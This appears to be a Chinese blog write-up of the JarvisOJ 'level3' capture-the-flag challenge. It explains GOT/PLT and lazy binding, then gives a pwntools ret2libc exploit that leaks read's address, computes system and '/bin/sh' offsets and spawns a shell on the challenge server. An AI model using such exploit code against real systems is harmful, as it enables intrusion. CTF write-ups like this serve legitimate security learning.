JARVIOS OJ pwn----LEVEL3

以前并沒(méi)有對(duì)libc這些太理解,剛好借助這道題把基本思路整理下。

過(guò)程:

? 出題人很厲害,只通過(guò)改變些許地方就能改變題目的難度。

?下載文件 level3和libc-2.19.so,查看文件保護(hù)--level3


可以棧溢出,但堆棧不可執(zhí)行所以我們的shellcode就不能寫(xiě)入了,同時(shí)也沒(méi)有地址隨機(jī)化。


libc保護(hù)

? 使用ida載入,程序邏輯基本不變。


仍然是棧溢出,但找不到system函數(shù)和‘bin/sh’字符串。單單通過(guò)level3這一個(gè)文件很難pwn下這道題。新的方法是通過(guò)泄露got表中函數(shù)的具體加載地址,通過(guò)偏移找到函數(shù)的庫(kù),然后通過(guò)這些找到其他函數(shù)的加載地址,即我們要找的system函數(shù)。


這里先說(shuō)一下libc,got表和plt表

libc庫(kù):保存著我們已經(jīng)編譯好的函數(shù),需要時(shí)我們就可以直接進(jìn)行調(diào)用。C語(yǔ)言中我們通過(guò)#include<>調(diào)用。

got表:全局函數(shù)表

plt表: 內(nèi)部函數(shù)表

********************************************************

這里借了一下 @xiaobozi 的博文? http://www.itdecent.cn/p/6626a866ad66

延遲綁定

所謂延遲綁定,就是當(dāng)函數(shù)第一次被調(diào)用的時(shí)候才進(jìn)行綁定(包括符號(hào)查找、重定位等),如果函數(shù)從來(lái)沒(méi)有用到過(guò)就不進(jìn)行綁定?;谘舆t綁定可以大大加快程序的啟動(dòng)速度,特別有利于一些引用了大量函數(shù)的程序。

下面簡(jiǎn)單介紹一下延遲綁定的基本原理。假如存在一個(gè)bar函數(shù),這個(gè)函數(shù)在PLT中的條目為bar@plt,在GOT中的條目為bar@got,那么在第一次調(diào)用bar函數(shù)的時(shí)候,首先會(huì)跳轉(zhuǎn)到PLT,偽代碼如下:

bar@plt:

jmp bar@got

patch bar@got

對(duì)于這道題來(lái)說(shuō)vulnerable_function函數(shù)調(diào)用了read函數(shù)


進(jìn)入找到plt表



跟進(jìn)got表,這里存的便是read函數(shù)的真正地址。

就是這里

這下我們就找到了解題的方法。

通過(guò)vulnerable_function中的read構(gòu)造棧溢出,并且覆寫(xiě)返回地址為plt中write的地址。再通過(guò)write泄露出read在內(nèi)存中的絕對(duì)地址。再結(jié)合libc文件,便可以推算出系統(tǒng)調(diào)用的地址。


查找libc文件中需要的地址


poc

from pwn import *

elf=ELF("level3")

plt_write=elf.plt['write']?? #write在plt中的地址

got_read=elf.got['read']? #read函數(shù)在got中的地址

vulnerable=elf.symbols['vulnerable_function'] #vulnerable_function函數(shù)的地址

payload=0x88*"a"+"link"+p32(plt_write)+p32(vulnerable)+p32(0x1)#write第一個(gè)參數(shù)+p32(got_read)#傳入第二個(gè)參數(shù),read函數(shù)的地址 +p32(0x04) #read函數(shù)的第三個(gè)參數(shù)

r=remote("pwn2.jarvisoj.com",9879)

r.recvuntil("Input:\n")

r.send(payload)

a=r.recv(4)

read_address = u32(a[0:4])

print hex(read_address)


?打印出了read函數(shù)的真實(shí)地址,接下來(lái)計(jì)算偏移,開(kāi)始pwn掉

read_libc_address = 0x000daf60

offset = read_address - read_libc_address

system_address = offset + 0x00040310

exit_address = offset + 0x00033260

bin_sh_address = offset + 0x16084c

payload=0x88*"a"+"link"+p32(system_address)+p32(exit_address)+p32(bin_sh_addressr)

r.send(payload)

r.interactive()


關(guān)鍵點(diǎn)

借的一張圖

使用write函數(shù)進(jìn)行兩次溢出,第一次泄露地址,第二次使用第二次獲得shell

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容